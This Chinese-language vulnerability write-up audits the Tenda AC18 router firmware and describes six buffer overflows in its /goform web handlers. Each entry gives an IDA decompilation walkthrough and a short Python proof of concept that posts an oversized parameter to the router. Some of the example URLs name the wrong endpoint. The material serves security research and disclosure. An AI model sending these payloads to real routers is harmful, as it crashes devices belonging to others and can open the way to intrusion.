Bootstrap

【代码审计】-Tenda AC 18 v15.03.05.05 /goform接口文档漏洞挖掘

路由器:Tenda AC 18 v15.03.05.05 

固件下载地址:https://www.tenda.com.cn/material?keyword=ac18


1./goform/SetSpeedWan 接口文档:
formSetSpeedWan函数中speed_di参数缓冲区溢出漏洞:

使用 binwalk -eM 解包固件,获得系统文件以备后续分析。

 /goform/SetSpeedWan 请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中, formSetSpeedWan函数里:

Ida查找 formSetSpeedWan函数:

使用sprintf导致缓冲区溢出:   

char *)s:将 _DWORD 类型的数组 s 强制转换为 char 类型的指针

_DWORD s[8]; 声明了一个名为 s 的数组,该数组由 8 个 _DWORD 类型的元素组成。_DWORD 是一个数据类型,通常在 32 位系统上表示一个双字(double word字节)。

 8 个 _DWORD即32个字节。

"{\"errCode\":%d,\"speed_dir\":%s}":这是格式化字符串,它定义了输出字符串的格式。这个格式包含两个字段:errCode 和 speed_dir。

%d:格式说明符,用于插入一个十进制整数。这里对应变量 v8 的值。

%s:格式说明符,用于插入一个字符串。这里对应变量 v7 的值

在下图可知:

v1是用户可以手动输入的参数a1:speed_dir

若输入的speed_dir字符串长度超过 32个字节(_DWORD s[8]; ),会导致缓冲区溢出。

故我们可以构造

http://<ip router>/goform/schedWifiEnable+speed_dir=a*2000

来复现此漏洞。

poc.py   

import requests

ip = "192.168.124.154"
url = "http://" + ip + "/goform/SetSpeedWan"
payload = b"a"*1000

data = {"speed_dir": payload}
response = requests.post(url, data=data)
print(response.text)
2./goform/QuickIndex 接口文档:
formQuickIndex函数中PPPOEPassword参数缓冲区溢出漏洞:

使用 binwalk -eM 解包固件,获得系统文件以备后续分析。

 /goform/QuickIndex 请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中, formQuickIndex函数里:

Ida查找formQuickIndex函数:

BYTE:这可能是一个自定义的数据类型,通常用来表示一个字节(1字节 = 8位)。

s[72]:这是一个数组,包含72个 _BYTE 类型的元素。这意味着 s 是一个可以存储72个字节数据的数组。

跟进sub_4F7C0

sub_4F7C0,对第二个参数 a2 指向的字符串进行某种转换,并将结果存储在第一个参数 result 指向的缓冲区中。

即将v8填充到s.

而v8为用户输入的参数a1(PPPOEPassword)

若输入的PPPOEPassword字符串长度超过 s[72]个字节,会覆盖其他重要数据,导致缓冲区溢出。

故我们可以构造

http://<ip router>/goform/QuickIndex+PPPOEPassword=a*2000

来复现此漏洞。

poc.py   

import requests

ip = "192.168.124.154"
url = "http://" + ip + "/goform/QuickIndex"
payload = b"a"*1000

data = {"PPPOEPassword": payload}
response = requests.post(url, data=data)
print(response.text)

3./goform/SetOnlineDevName 接口文档:
formSetDeviceName函数中devName/mac参数缓冲区溢出漏洞:

使用 binwalk -eM 解包固件,获得系统文件以备后续分析。

/goform/SetOnlineDevName请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中, formSetDeviceName函数里:

Ida查找formSetDeviceName函数:

使用 sprintf可能导致缓冲区溢出:   

倒数第一个sprintf:

v4[8] 声明一个包含8 _DWORD 类型元素的数组。

这意味着 v4 是一个可以存储8个32位整数的数组,总共占用 8 * 4 = 32 字节的内存空间。

1 是要插入的整数值,表示错误代码。

输出1到v4 ,常量舍弃。

倒数第二个sprintf:

v4[8] 声明包含8个 _DWORD 类型元素的数组,占用 8 * 4 = 32 字节的内存空间。

v9:

常量,舍弃。

倒数第三个和第四个sprintf:

v7 必须指向一个有效的字符a1。

a1为用户输入的字符串:devName(a1)=v7

跟进tpi_set_mac_info 函数:

调用 tpi_set_mac_info 函数尝试设置MAC地址

&&两个条件比需要同时满足:

即输入v8 MAC输入v7devName

将输入的v7写入到字符数组 v5 中,v8写入到字符数组 s 中

定义了字符数组v5 ,数组的大小为 580 个字符,字符数组s,   数组的大小为 128 个字符

若输入的字符串v7长度超过 580个 字节,导致缓冲区溢出。

若输入的字符串v8长度超过 128个 字节,导致缓冲区溢出。

故我们可以构造:

  1. http://<ip router>/goform/SetOnlineDevName+mac=a*2000,devName=1
  2. http://<ip router>/goform/SetOnlineDevName+devName=a*2000,mac=1

来复现此漏洞。

注:为了保证 tpi set mac info 函数返回 0,程序进入到漏洞点:

我们需要保证程序进入:

保证 tpi set mac info 函数返回 0:

要求:socket 连接建立成功(模拟的固件可能不支持,可以手动跳过socket 检查或者直接令程序进入tpi set mac info函数)

这里采用第二种:将MOV R3,R0改为MOV R3,#0,直接令程序进入tpi set mac info函数

poc.py   

import requests
ip = "192.168.124.154"
url = "http://" + ip + "/goform/SetOnlineDevName"
payload = b"a"*2000

data = {"mac": 1,"devName": payload}
response = requests.post(url, data=data)
print(response.text)

4./goform/SetPptpServerCfg 接口文档:
formSetPPTPServer函数中startIP参数缓冲区溢出漏洞:

使用 binwalk -eM 解包固件,获得系统文件以备后续分析。

/goform/SetPptpServerCfg 请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中, formSetPPTPServer函数里:

Ida查找 formSetPPTPServer函数:

用户可控的输入参数为a1。

由下可知:

v21,v22常量,舍弃。

检查 v20 和 v19 是否为空:

如果任一为空,则设置 v24 为 1 并跳转到 LABEL_20。

输出错误。

如果都不为空:

使用sscanf函数格式化V20的值,格式为v13, v14, v15, &v15[8]

使用sscanf函数格式化V19的值,格式为&v9, &v10, &v11, v12

 sprintf 导致缓冲区溢出: 

第一个sprintf :

将变量 v13、v14、v15 的值和一个字符串 "0" 连接起来,形成一个新的字符串,格式为 "v13.v14.v15.0"。

结果存储在字符数组 s 中。

s为:128字节的数组。

第二个sprintf :

将 v13、v14、v15 的值和一个字符串 "1" 连接起来,形成一个新的字符串,格式为 "v13.v14.v15.1"。

结果存储在字符数组 v17 中。

v17为:64字节的数组。

v16,v17是用户输入的a1:startIp

故我们可以构造

http://<ip router>/goform/SetPptpServerCfg+startIp=a*2000,"endIp": 1

来复现此漏洞。

poc.py   

import requests

ip = "192.168.124.154"
url = "http://" + ip + "/goform/SetPptpServerCfg"
payload = 'a'*1000

data = {
"startIp": payload,
"endIp": 1
}
response = requests.post(url, data=data)
print(response.text)
5./goform/openSchedWifi接口文档:
setSchedWifi函数中list参数缓冲区溢出漏洞:

使用 binwalk -eM 解包固件,获得系统文件以备后续分析。

 /goform/openSchedWifi请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中,setSchedWifi函数里:

Ida查找setSchedWifi函数:

使用 strcpy 导致缓冲区溢出:

复制的字符串src到dest

跟进指针dest:

定义了一个字符数组 dest,数组的大小为 580 个字符

若输入的sr字符串长度超过 580个 字节,strcpy 会将超出部分写入到 dest 的相邻内存区域,从而覆盖其他重要数据,导致缓冲区溢出。

在下图可知:

src为a1

a1用户输入的接收参数list,

故我们可以构造

http://<ip router>/goform/SetNetControlList+list=a*2000

来复现此漏洞。

poc.py   

import requests
from pwn import *

ip = "192.168.124.154"
url = "http://" + ip + "/goform/SetNetControlList"
payload = b"a"*2000

data = {"list": payload}
response = requests.post(url, data=data)
print(response.text)
6./goform/openSchedWifi接口文档:
setSchedWifi函数中schedWifiEnable参数缓冲区溢出漏洞:

使用 binwalk -eM 解包固件,获得系统文件以备后续分析。

/goform/openSchedWifi请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中,setSchedWifi函数里:

Ida查找setSchedWifi函数:

使用 strcpy 可能导致缓冲区溢出:

第一个strcpy 定义的dest为常量,放弃。

第二个strcpy ,将字符串 src 和 v20 分别复制到动态分配的内存 ptr 的特定位置

跟进 ptr指针:

malloc 是 C 标准库中的一个函数,用于动态分配内存。

0x19 是一个十六进制数,表示十进制的 25。

这行代码分配了 25 个字节 的内存空间。

若src和v20的字节数大于25,字符串长度超过 128 字节,strcpy 会将超出部分写入到 v5 的相邻内存区域,从而覆盖其他重要数据,导致缓冲区溢出。

在下图可知:

src为用户输入的schedWifiEnable

v20为用户输入的schedEndTime

故我们可以构造

http://<ip router>/setSchedWifi+schedWifiEnable=a*2000

来复现此漏洞。

poc.py   

import requests

ip = "192.168.124.154"
url = "http://" + ip + "/goform/openSchedWifi"
payload = b"a"*1000

data = {"schedWifiEnable":0,"schedEndTime": payload}
response = requests.post(url, data=data)
print(response.text)

;